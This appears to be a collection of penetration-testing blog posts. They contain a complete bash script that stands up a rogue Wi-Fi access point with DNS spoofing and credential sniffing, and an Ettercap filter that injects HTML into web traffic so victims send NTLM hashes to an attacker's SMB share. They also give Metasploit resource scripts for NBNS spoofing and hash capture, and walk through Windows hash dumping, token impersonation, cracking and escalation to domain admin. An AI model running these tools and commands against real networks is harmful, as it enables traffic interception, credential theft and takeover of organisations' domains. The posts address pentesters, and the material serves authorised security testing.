A quick 'n' evil Access Point

I have been carrying out wireless assessments for some clients recently, and to be honest, if the client is security savvy enough to be requesting a wireless pentest, then usually (i said usually ;) they are savvy enough to have secured their network in a reasonable manner. Finding one setup with WEP is certainly not going to happen. If you are up against WPA/WPA2 then you should check out Elcomsoft's Wireless auditor, purely for its GPU support and password permutations.
Another good resource is http://tools.question-defense.com/wpa-password-cracker

They charge $10 to crack your WPA key, and have a huge dictionary of 1.5 billion words.

Anyway, suppose you have explored the aforementioned methods and have had little luck. Time for another way.....

The next best thing to cracking a wireless network key, is to be able to force the clients on that network to connect to your network. Various tools and techniques exist for this including karma, jasager, and the social engineering toolkit. I have had a varying amounts of success with these tools, and blindly running a tool without fully understanding exactly what is happening under the hood is often a bad idea, so i decided the best thing for me to do, is to go away and work my way through the excellent Wireless security megaprimer available here: http://www.securitytube.net/groups?operation=viewall&groupId=0
This course takes you through each step manually, so gives you a decent understanding of what processes make up this technique of coercing someone to connect to your wireless network.

Working through this course, I have realised, there are a great many commands to run through in order to get your fake access point up and running properley, so i have whipped up a bash script to automate all this. Feel free to make use of this, although make sure you have a basic knowledge of the process first, or better still, check out the securitytube training videos first.

Okay, this script was designed for those using backtrack within a VM with both a bridged connection through the host to provide internet access,  and a wireless alfa card connected to host the fake access point.
I have also included in the script, the commands to resolve the SIOCSIFFLAGS error, common with the ALFA cards running under vmware.
I don't see why it wouldnt work in any other setup, basically you just need to copy it to your bactrack machine and chmod 755 to make it executable, and off you go.
It will setup a fake access point and also spoof any other access points that nearby computers are probing for. Once this is done it will finish by setting up Dsniff and DNSspoof and URLsnarf to redirect any connected clients to your own machine. I use this alongside the SET website attacks, and it works very well.

#!/bin/bash
txtgreen=$(tput setaf 2) # Green
txtrst=$(tput sgr0) # Text reset
clear
echo
echo "          ***************************************************"
echo "          *                                                 *"
echo "          *                  Welcome to                     *"
echo "          *    ${txtgreen}  The Quick 'n' Evil Access Point${txtrst}       *"
echo "          *         By Sean gambles Nov 2011  v0.12          *"
echo "          *                                                 *"
echo "          ***************************************************"
echo
echo "This tool makes use of the aircrack suite. "
echo "This script will setup a fake access point of your choosing, spoof any"
echo "Access Points that nearby computers are probing for, and then setup DNS "
echo "spoofing and Dsniff to redirect connected clients to your IP address, and"
echo "sniff for clear-text credentials. "
echo "Once the Access Point is up and running, you can utilise other tools"
echo "such as the social engineering toolkit to run alongside this, and either"
echo "capture credentials, or deliver malicous payloads through iframe and java"
echo "applet methods. Ideally, for this script to work, you will need to have "
echo "an alfa wifi card plugged in and a mapped network connection through VMWare,"
echo "preferbly bridged,not NAT'd, as these seem to crash out regularly."
echo
sleep 3
echo
echo "${txtgreen}[*]Please enter the number given to your eth device e.g eth2."
read -p "this can be found by running ifconfig -a :${txtrst}" wired
echo
echo
read -p "${txtgreen}[*]Please enter the number given to your wireless device e.g wlan1 :${txtrst}" wifi
echo
echo
read -p "${txtgreen}[*]Please enter the channel you would like your access point to run on :${txtrst}" channel
echo
echo
read -p "${txtgreen}[*]Please enter the SSID you would like your access point to use :${txtrst}" ssid
echo
echo
echo "${txtgreen}[*]Repairing the issue with the Alfa driver...${txtrst}"
echo
echo "Please be patient, you may ignore any errors here"
rmmod rtl8187
rfkill block all
rfkill unblock all
modprobe rtl8187
rfkill unblock all
echo "${txtgreen}[*]increasing alfa power to 30dB${txtrst}"
iw reg set BO
echo Bringing $wifi Up
ifconfig $wifi up
ifconfig $wifi down
ifconfig $wifi up
clear
echo
echo
echo "${txtgreen}[*]Setting up the fake access point ${txtrst}"
sleep 2
clear
echo
echo
echo "${txtgreen}[*]cleaning up previous network settings${txtrst}"
ifconfig mitm down
brctl delbr mitm
ifconfig $wired 0.0.0.0 down
ifconfig at0 down
airmon-ng stop mon0
clear
echo
echo
echo "${txtgreen}[*]putting wifi into monitor mode${txtrst}"
airmon-ng start $wifi
sleep 2
clear
echo
echo
echo "${txtgreen}[*]setting the channel on the interfaces${txtrst}"
iwconfig $wifi channel $channel
iwconfig mon0 channel $channel
clear
echo
echo
echo "${txtgreen}[*]Setting up the fake access point on channel $channel ${txtrst}"
xterm -geometry 120x7-0+0 -bg black -fg green -T "airbase-ng" -e /usr/local/sbin/airbase-ng --essid $ssid -P -C 10 -c $channel mon0 &
sleep 2
clear
echo
echo
echo "${txtgreen}[*]Fake Access Point is now running.... ${txtrst}"
sleep 2
clear
echo
echo
echo "${txtgreen}[*]bringing up the at0 interface${txtrst}"
ifconfig at0 up
sleep 5
clear
echo
echo
echo "${txtgreen}[*]Adding the man in the middle bridge${txtrst}"
brctl addbr mitm
sleep 2
clear
echo
echo
echo "${txtgreen}[*]Joining the at0 and eth interfaces to your bridge${txtrst}"
brctl addif mitm $wired
brctl addif mitm at0
sleep 2
clear
echo
echo
echo "${txtgreen}[*]Clearing the ip addresses"
ifconfig $wired 0.0.0.0 up
sleep 2
ifconfig at0 0.0.0.0 up
sleep 2
clear
echo
echo
echo "${txtgreen}[*]Bringing up the new bridge and collecting an ip address${txtrst}"
ifconfig mitm up
dhclient mitm
sleep 5
mitm=$(ifconfig mitm | sed -n '2 p' | awk '{print $2}' |cut -d":" -f2)
clear
echo
echo
echo "${txtgreen}[*]Please enter up to three websites you wish to spoof"
read -p "DNS for e.g *.facebook.com www.google.com *.com :${txtrst}" web1 web2 web3
sleep 2
clear
echo
echo
echo "${txtgreen}[*]Starting up Dnsspoof Dsniff and URLsnarf...."
echo $mitm $web1>/tmp/hosts.txt
echo $mitm $web2>>/tmp/hosts.txt
echo $mitm $web3>>/tmp/hosts.txt
sleep 2
clear
echo
echo
echo "${txtgreen}[*]Okay.... all ready to go, have fun! :0) ${txtrst}"
xterm -geometry 120x7-0+200 -bg black -fg green -T "DNSspoof" -e /usr/local/sbin/dnsspoof -f /tmp/hosts.txt -i mitm &
xterm -geometry 120x7-0+350 -bg black -fg green -T "Dsniff" -e /usr/local/sbin/dsniff -i mitm &
xterm -geometry 120x7-0+500 -bg black -fg green -T "URLsnarf" -e /usr/local/sbin/urlsnarf -i mitm &
sleep 12

Using Ettercap to improve NetBIOS attacks

For those of you that have tried out NetBIOS spoofing, (explained Here), you know how devastatingly effective this is on an internal network. There are however, times when good crackable hashes just don't seem to be passing your way. Maybe the network is quiet, or you are just getting NTLMv2 hashes that you just can't seem to crack. If only you could somehow force those XP clients to send over their user's LM hashes...
Well... it seems you can with Ettercap, and it works very well too.
One of the great things about Ettercap, is that you can do so much more with man-in-the-middle attacks versus Cain for instance. DNS spoofing, ARP spoofing, iframe injections and many more are possible with this tool. Today though we are going to use a custom filter in an attempt to force the clients, via some HTML injection,  to connect to a fake share on our machine so that we can then harvest their authentication hashes.

Remember, for this attack to work, you will need to be targetting wired clients on the network (unless they are using open or WEP wifi) as we will be actively changing their traffic, and this would not be possible on a WPA network due to the individual client encryption keys being used.

First of all you will need to setup metasploit...
Let's see if we can find some low hanging fruit (XP machines)

use auxiliary/scanner/smb/smb_version

Excellent some target XP machines. Make a note of these IP addresses as we will need to target these with Ettercap next.

Now we need to get out filter configured for Ettercap. As you can see from looking at the filter below, we will be adding in an HTML tag into the web pages that the target will be viewing. This tag will tell the browser that it needs to load an image to display on the page and to load it from a share on your IP.
The image wont be there, but Metasploit will capture these requests, spoof the challenge, and capture the user's hash.

Modify the following filter to your own IP address, and save this as netbios.filter.



 if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Rubbish!")) {
      replace("Accept-Rubbish!", "Accept-gnidocnE");
      msg("Encoding Taken Care Of...\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head> <img src=\"\\\\192.168.20.10\\pixel.gif\"> ");
msg("Replacement Filter Ran.\n");
}


Next, we need to install Ettercap: apt-get install ettercap
then within the /usr/local/share/ettercap folder, run etterfilter /root/netbios.filter -o netbios.ef.
This will complile the filter into a format Ettercap can understand.

We now need to return to Metasploit and setup the netbios spoofing modules to be ready to capture the incoming hashes, you can use the following resource script to save time:


use auxiliary/server/capture/smb
set srvhost 192.168.20.10
set cainpwfile /tmp/cain
set johnpwfile /tmp/john
run
use auxiliary/server/capture/http_ntlm
set srvhost 192.168.20.10
set cainpwfile /tmp/cain
set johnpwfile /tmp/john
set uripath /share
set srvport 80
run
use auxiliary/spoof/nbns/nbns_response
set spoofip 192.168.20.10
run

Once you have this running, we can now start ettercap:

ettercap -TqF netbios.ef -M arp:remote /192.168.20.26,29,30/ /<gatewayIP>/ -i eth0

This will fire up Ettercap in text mode (T) without verbose info (q) and with the netbios filter (F) using the arp spoofing method (M) against the 3 XP clients.

Once the users on these clients start browsing web pages, you should see a flurry of hashes coming your way :0)

Remember to press "q" once you have these hashes so that Ettercap will re-poison them to prevent any network drop-out.



Make sure you have permission first, and have fun folks!

Attacking Windows Hashes

Its easy to get lost in the world of windows hashes, I know I do, that's why I'm writing this. I must say at this point, that I am certainly no expert when it comes to this subject, but i'm sitting in an airport for the next 5hrs with nothing to do, and it keeps my attention away from probing other people on the wifi  ;0)

Anyway, windows hashes come in many forms, and each type needs to be tackled in a different way.

• Locally stored hashes: these can be stored in LM or NTLM format depending on the length of your password and OS type.
• Authentication hashes: These hashes are used to authenticate to resources across the network.These can be either LM, NTLMv1 or NTLMv2, again depending on your OS type and the security that is negotiated between the two conversing machines.
• Cached Credentials: These hashes are to allow previous users of the PC to log in to windows when a network connection is unavailable i.e. a corporate laptop user sitting at home.
• Token hashes: These hashes are stored in RAM on the machine, and are left there from RDP and SMB sessions that other users have connected to recently. Their purpose is for Single Sign-On. 

Locally stored hashes:

Let's start with locally stored hashes, When you log on to your PC, If your running XP and your password is less than 15 characters, windows pads the password to 14 characters, splits the password into two, capitalizes it, then DES encrypts each half with a static value ("KGS!@#$%") to produce a hash. This hash is then compared to the hashes the PC has stored in it's SAM (hidden part of the registry). If your password is 15 characters or more, or you use Vista / Win7, then windows hashes this with RC4 instead, and they become NT hashes.
There are heaps of different tools out there to grab these hashes, windows reg save, Cain & Able, pwdump7, pwdumpx, gsecdump, and wce.exe are to name just a few.
The best way to tackle these is with rainbow tables. Ophcrack in particular is my favorite. Make sure you have downloaded either the  XP and VISTA tables from the site depending on your target.
You can crack these locally on the target PC by creating a boot disk which can then be booted from, and cracked automatically, or from over the network (depending on AV version) within ophcrack by choosing from the menu: load then remote sam.
Once you have the local administrator password, many options become available; These include token stealing (incognito), Pass-the-hash (psexec), domain hash dumping (wce,gsecdump), cached cred dumping (cachdump, pwdumpx), keylogging and more. Most of these are outlined below.

Authentication hashes:

Whenever you access a resource in a windows domain over the network, your PC will send over a hashed version of your password, this is so that you wont have to keep re-authenticating each time you open a mapped drive or printer for instance; Microsoft call this; Single Sign-On.
As we have seen in the previous section, these hashes can be trivial to crack, so Microsoft realizing this, took the local LM or NTLM hash and salted it with a random challenge that the server would issue. This meant that each hash became unique regardless of the password, so rainbow tables would no longer be effective. Dictionary attacks still are though, and CAIN and JTR are the best to use here.
Another technique can be used called challenge spoofing where-by you can pretend to be the server the client is looking for, and issue a static challenge of 1122334455667788 each time. This means that every password hash is now salted with the same value so we can now use rainbow tables specifically designed for this (see NetBIOS Spoofing post for more info on how to crack these.)

Cached Credentials:

Say for instance you use a laptop at work, and let's say also, you take that laptop home with you to work from.
Well, you will need to be able to logon to your laptop using your usual password without access to the domain controller back at the office. This is where Microsoft uses cached credentials.
By default, your windows machine will save the credentials of the last ten people that have previously logged onto it, allbeit in hashed format. Windows takes the regular stored password hash and hashes it again with MD4, which, is also salted with the username. This means to crack these using rainbow tables, you would need to create a new one for each username. You could use Winrtgen and create one for "Administrator" tho.
These hashes can be captured once you have administrator access to the machine. A few tools exist, such as meterpreter's post/windows/gather/cachedump, PWDumpX and GsecDump. XP/2003 family store these hashes in mscash1 format and can be cracked at a fairly fast rate of thousands of tries per second. Vista/2008 family and beyond store these in the much, much more secure mscash2 format. These are hashed many times through various algorithms and are really slow to crack (100/sec) on my machine.
These hashes are easiest to crack with john: ./john --format=mscash / mscash2 <hashfile>
To use CAIN on these, you will have to format them the correct way within the CACHE.LST file:
<domain><tab><username><tab><tab><hash><tab>MS-CACHE<tab><tab>

Token hashes:

Tokens are very similar to authentication hashes, in that they are designed again for Windows Single Sign-On. Tokens are stored in memory though, and can be extremely useful for the pentester. They are stored for a few reasons:

Maybe a domain admin has connected to a system using RDP, he has finished what he was doing and clicked disconnect (instead of logoff), his token will now stay on this system until that session is properly terminated, or the system has been rebooted.

Or, if for instance, you have an issue with your PC, and along comes the IT guy to fix it. He needs a file from the server let's say, so he browses to the share containing his file and enters his credentials. He gets his file, fixes your machine, and walks away.
Behind the scenes, windows has saved these credentials just in case you need to get another file from that same location.

These tokens are kept in memory, and are stored in the same format as the regular stored hashes i.e. LM and NT type. A huge benefit with this technique is that even though they may have have domain controllers storing the hashes in NThash format, these tokens will keep the LM version also! (providing the password is less than 15 characters).
This is good news for us, as we can now gain access to these hashes and run them through Ophcrack to gain access to his password!
This method can be achieved with  tools such as GsecDump and Windows Credential Editor, the latter being my favorite due to AV issues with GsecDump. You will need to have administrator access to the local PC for these to work, but simply running wce.exe without any options will dump both the local, and the token hashes.
Or, if you prefer, use a tool such as incognito, this will let you impersonate the holder of that token, basically giving you same permissions as the IT guy, without having to crack his password.

This particular technique is golden, and will more often than not, give you a route to domain admin, especially when used with other tools such as softperfect network scanner. Give this scanner the local admin credentials that you gained with ophcrack from the first section, and scan the network to get a list of logged on users, this will give you a quick idea as to which machines you have admin access to, and also, where those domain admin tokens are hiding away on :0)

Okay, you have their password. Now what?

Okay, so somehow, you have managed to find a password belonging to a domain user (maybe you used NetBIOS Spoofing - see July post); you may ask yourself, "What now? What can I do with just a regular user account?".

So, obviously we have to find a way to leverage this account to escalate our privileges up to domain admin level if possible. Most times, this can be really simple - it's just a matter of taking your time, being thorough, and knowing where to look. First off, it's usually a good idea to find out exactly what level of access you have on the network: what groups are you a member of?  Do you have local admin access on any - or all - of the desktops? These sort of things... Group memberships can be found by using an nmap nse script:-


nmap -p445 <IP> --script smb-enum-groups --script-args=smbuser=<username>,smbpass=<password>,smbdomain=<domain>

Results can vary with this, so you may find using a tool like dumpsec better, which is excellent. You have to remember to first create a session token with Dumpsec, though, else it won't work. This can be done be first browsing to the target and entering the credentials you have, or creating a null session to the IPC$ share.

Once you know what groups your credential has membership of, it's time to find out if you have admin access on anything in the network (this can be desktops or servers). There are a few ways to find admin access, but I like to use nmap's smb-server-stats script, as follows:-

nmap -p445 <iprange> --script smb-server-stats.nse --script-args=smbuser=<username>,smbpass=<password>,smbdomain=<domain> >/tmp/results.txt

Any host you get script results back from, will indicate that you have admin level privs on this machine.

If you happen to find any machines you have admin access to, you're in luck! Especially if they are servers (terminal servers are usual candidates).

Make a list of these machines and start using incognito to dig out high level admin accounts. Whenever a domain user logs on to a PC, or accesses it in any way across the network, a token is stored containing those credentials that lets you continue to log-on to that PC without re-authenticating again. This token is stored for around 10hrs from what I can remember, and can be impersonated by an attacker with Incognito. A good write-up on token stealing is available here:- http://www.argeniss.com/research/TokenKidnapping.pdf

Run this against the machines you have full access to; you need to be looking for high-level domain account tokens. If you can find a domain admin token, then impersonate it and add yourself to the domain admins group.

You also have the option at this stage to use other tools that will all help you escalate towards domain admin:-

• psexec / meterpreter
• Incognito here
• pwdumpX1.4 here
• gsecdump here
• Windows Credential Editor here
• ophcrack here
• able (cain & able) here
• sysinternals - lsasecretsdump.exe here

Using these tools will reveal local hashes, cached creds, tokens, hashes for tokens, and service account passwords, usually resulting in a successful route to full domain pwnership.

If you don't have any admin privs, the next thing I find useful to do is to search the SYSVOL shares on the DC's for log-in scripts containing run-as creds, as often they can contain high-level accounts. Browsing under win7 is better as you can also easily search file contents.

Look around the network and try to find servers with names indicating that they may contain IT dept information. Refer back to the previous NMAP scan to locate interesting shares.

Access the shares with the domain user's creds and again, search file contents for words like passw or administrator, etc.

Taking your time is the key to success here, as so many potential routes in can pass by unnoticed.
Take time to learn the tools listed above, and know what each is capable of and which get picked up by which AV.

I hope this highlights a little of what can be done from that "un-important password" you have captured. If anyone else has any good tips and ideas of this nature, please use the comments below.

NetBIOS / NBNS Spoofing For The Easy Win

Nowadays, modern operating systems use DNS as their preferred method for resolving names – especially within a domain environment. An overview of the methods in which Windows machines resolve names of other machines on the network is as follows

1. Windows first looks in its local hosts file at c:\windows\system32\drivers\etc\
2. It will then check its own DNS cache to see it has been recently resolved.
3. If this fails, it will send a request over to its configured DNS server(s).
4. If the DNS server cannot resolve it (and assuming the name is in the non-standard DNS format) the client will send the request to its configured WINS server (if specified).
5. If at this point the client has still not received a reply, it will send out a series of NetBIOS broadcasts.
6. Finally, if all else fails, it will look inside its LMHOSTS file at  c:\windows\system32\drivers\etc\

Looking through that list, you can see that our attack doesn’t come into play until the 5^th stage; and you may well be thinking that all the planets need to be aligned in order for this to work, but you’ll be surprised how on a busy network, just how many hashes you can capture using this method. There are plenty of situations that can be present on the network that will cause a client PC to skip those first 4 steps, for instance:

1. Clients that are running login scripts to map drives via the net use method.
2. Laptops brought into the environment from other domains will be “polling” for their printers and other resources that won’t exist on the network will also send out broadcast requests.
3. Mistyped URL’s such as googlecom will be rejected by the DNS server and as such, will need to be resolved via NetBIOS
4. Modern browsers allow you to search via the address bar, and the browser needs to decide if the text is a host or a query. If the string has spaces, it is obviously a search request. If there are no spaces the browser doesn't know if we want a server named "youtube" or we want to search for youtube.

So, as you can see, we have plenty of cards up our sleeves :0)

NetBIOS uses a series of broadcasts and luckily for us, it provides very little verification as to who is sending back the replies, so anyone can falsely reply to say they are filesever01 for instance. The client will blindly trust this response, try to negotiate a NULL session and, if anonymous connections are disallowed, use the current user’s logon session in hashed format (NETNTLMv1 or NETNTLMv2) to authenticate to the filesever01 over SMB. Soon enough you, as an attacker, will have a nice list of users/hashes that you can feed into John the Ripper or Cain for cracking.

First, we need to set up a couple of Metasploit auxiliary modules to capture these hashes - the SMB and HTTP_NTLM modules.

 Figure 1 - auxiliary/server/capture/smb

Figure 2 - auxiliary/server/capture/http_ntlm

Set the SRVHOST to your own IP address and make sure the other settings are configured like the ones above.

Once these are up and running, we need to setup one more module to send out spoofed responses to our targets.

 Figure 3 - auxiliary/spoof/nbns_response

It’s a good idea to create a Metasploit resource file to automate all this to make life easier. Just create a text file and start adding in the commands on-by-one as you would type them in the Metasploit console:

Once complete, type into the console: resource /root/nbnsspoof.txt to get it started.

Depending upon the target operating 
systems, you should see a couple of different types of hashes being captured now – NTLMv1 (XP, Server 2003, Windows 2000) and NTLMv2 (Vista, Windows7).

Ideally, we would like to be seeing NTLMv1 hashes appearing now as they can be cracked much easier with rainbow tables. Now we can sit back and wait. 

 Figure 4 - Hashes from XP clients

Figure 5 - Hashes from Windows 7 clients

Above, you can see we have managed to capture some hashes from both XP and Windows 7 clients, so now we need to start cracking them.

Cracking NTLMv1 Hashes –

 

NTLMv1 hashes are produced as follows:

1.     The server issues an 8 byte challenge to the client

2.     The client uses the challenge to encrypt it’s LM or NTLM hash

3.     The client passes this back to the server, where-by the reverse is performed to read the hash. 

  

 It’s in step 1 where a lot of this technique comes into play; you will notice in figures 44 and 45 that we can set a static challenge of 1122334455667788. Providing we always specify the same challenge, then that in effect removes the “salt”, which makes cracking these a lot easier as now, we can use pre-computed rainbow tables.

Both John the Ripper and Cain can be used to crack these hashes, NTLMv1 hashes contain the weaker LANMAN hash, so providing you have a good set of wordlists and tables, you should be able to crack these relatively easily.

To use John against these, you need to manually choose the format and make sure you are pointing it at the correct file - it should start with /tmp/john_netntlm

You can now choose to crack the NThashes – this can be quicker for derivatives of the word “password” or other weaker passwords longer than 7 characters.

Or, you can crack half of the LM hash (first 7 letters) by choosing nethalflm format. This is best for short passwords or for those that you cannot get easily with the netntlm method.

As you can see, we only have the first 7 characters of the passwords, but you will find a handy perl script within the john directory called netntlm.pl.

This script will take the first 7 letters and brute force the remainder of the password for you. The syntax is as follows –

perl netntlm.pl --seed="LONDON2" –-file=/tmp/john_netntlm

Unfortunately, this script can only run against a single seed at a time so you won’t get any bulk cracking done here, but as you can now see below, we have the uppercase version of Jane’s password.

We now need to get the case of the password, and this can be done simply by running the same command again.

Another way to do all this is to use Cain. You will need to download the HalfLM tables first - which are available here: http://www.freerainbowtables.com/en/tables/

You will then need to copy and paste the hashes from the cain output file into a text file and import them into Cain:

 Figure 6 - Importing hashes into Cain

Then choose the HALFLM + challenge method and load in your HalfLM tables to begin cracking.

 And now we are ready to start:

As you can see from above, Cain has started to crack many more of the passwords than john did. All we need to do now is to get the second half of the password.

For this, we need to use the Brute-force method within Cain – as follows:

Within seconds usually, we will now have just about all of the passwords cracked

Cracking NTLMv2 Hashes –

NTLMv2 hashes are sent by default on Vista or later operating systems, and are produced a little different from the NTLMv1 types, in that, the challenge is performed from both parties involved, and more factors are included to make up the salt – such as the username and the domain name. Basically, this means that we can no longer use rainbow tables. No matter though, as long as people choose weak passwords then we can easily get them.

John can be used against these by specifying the format=netntlmv2 argument:

And Cain can also be used here, but a little more work is involved because the Metasploit capture modules do not output these in Cain format for some reason.

You need to copy and paste the john format of the hash into Cain’s hash file located at C:\Program Files (x86)\Cain\NTLMv2.lst and re-arrange the format into the following:

Username<tab>domain<tab><tab>hash<tab>serverchallenge<tab>clientchallenge<tab><tab>

The easiest way of remembering this is to have Cain open (must be closed before saving) and use a tab where you see a column within the gui interface:

 

So, for those of you who have not yet tried this, I am willing to bet that it will become an essential part of your testing; as you may well find, it can really give you that jump-start into the network.
In fact it's so successful, it almost seems unfair, especially if you couple this along with the technique described here http://www.anotherwayin.net/2011/11/using-ettercap-to-improve-netbios.html?utm_source=BP_recent
you wont come across many networks that aren't susceptible to this.

** 2013 update**

Things have moved on a little since I posted this, and a couple of new tools now exist to make this attack even more successful . Firstly, newer OS's have IPv6 turned on by default, and this changes the order that windows uses to resolve names slightly. Whereas IPv4 only clients - such as XP etc. use DNS first then NBNS; IPv6 clients will use DNS, then Local Link Multicast Name Resolution (LLMNR), then NBNS.
Metasploit now has a module for this called llmnr_response, so I recommend you include this within your resource file to increase your success rate when running these attacks on modern networks.

In addition to this, a tool was released last year called Responder that includes all these attacks, plus  WPAD poisoning, NTLMv1 downgrading, ICMP redirection and many more. It also has better safety measures in place to minimize disruptions on the network. So get out of here, and go check it out :)